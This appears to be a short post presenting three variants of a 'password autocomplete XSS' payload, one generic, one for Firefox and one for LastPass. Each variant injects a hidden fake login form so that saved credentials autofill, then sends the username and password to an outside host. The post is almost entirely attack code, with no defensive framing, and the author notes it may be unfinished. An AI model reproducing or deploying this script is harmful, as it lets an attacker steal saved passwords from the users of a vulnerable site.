Password Autocomplete XSS

pwxss.html

<script>
	function attack()
	{
		var username = document.forms['foo']['username'].value;
		var password = document.forms['foo']['password'].value;
		document.forms['foo']['password'].onchange="";
		document.forms['foo'].style.visibility = 'hidden';
		var request;
		if (window.XMLHttpRequest)
		  {
		  request=new XMLHttpRequest();
		  }
		else
		  {
		  request=new ActiveXObject("Microsoft.XMLHTTP");
		  }
		var url = "http://btoe.ws/blah.php?username="+username+"&password="+password;
		request.open("GET",url,true);
		request.send();
	}
	document.write("
		<form name='foo'>
			Username:<input type='text' name='username'>
			<br>
			Password:<input type='password' name='password' onchange='attack()'>
			<br>
			<input type='submit' name='submit' value='Log Inn'>
		</form>
	");
</script>

pwxss_firefox.html

<script>
	function attack()
	{
		var username = document.forms['foo']['username'].value;
		var password = document.forms['foo']['password'].value;
		document.forms['foo']['password'].onchange="";
		document.forms['foo'].style.visibility = 'hidden';
		var request;
		if (window.XMLHttpRequest)
		  {
		  request=new XMLHttpRequest();
		  }
		else
		  {
		  request=new ActiveXObject("Microsoft.XMLHTTP");
		  }
		var url = "http://btoe.ws/blah.php?username="+username+"&password="+password;
		request.open("GET",url,true);
		request.send();
	}
	function holdon()
	{
		if(document.forms['foo']['password'].value.length < 1)
		{
			var t = setTimeout("holdon()",5);
		}
		else
		{
			attack();
		}
	}
	document.write("
		<form name='foo'>
			Username:<input type='text' name='username'>
			<br>
			Password:<input type='password' name='password'>
			<br>
			<input type='submit' name='submit' value='Log Inn'>
		</form>
	");
	holdon()
</script>

pwxss_lastpass.html

<script>
	function attack()
	{
		var username = document.forms['foo']['username'].value;
		var password = document.forms['foo']['password'].value;
		document.forms['foo']['password'].onchange="";
		document.forms['foo'].style.visibility = 'hidden';
		var request;
		if (window.XMLHttpRequest)
		  {
		  request=new XMLHttpRequest();
		  }
		else
		  {
		  request=new ActiveXObject("Microsoft.XMLHTTP");
		  }
		var url = "http://btoe.ws/blah.php?username="+username+"&password="+password;
		request.open("GET",url,true);
		request.send();
	}
	document.write("
		<form name='foo'>
			Username:<input type='text' name='username'>
			<br>
			Password:<input type='password' name='password' onchange='attack()'>
			<br>
			<input type='submit' name='submit' value='Log Inn'>
		</form>
	");
</script>

I'm not sure if this works. I might not have finished it.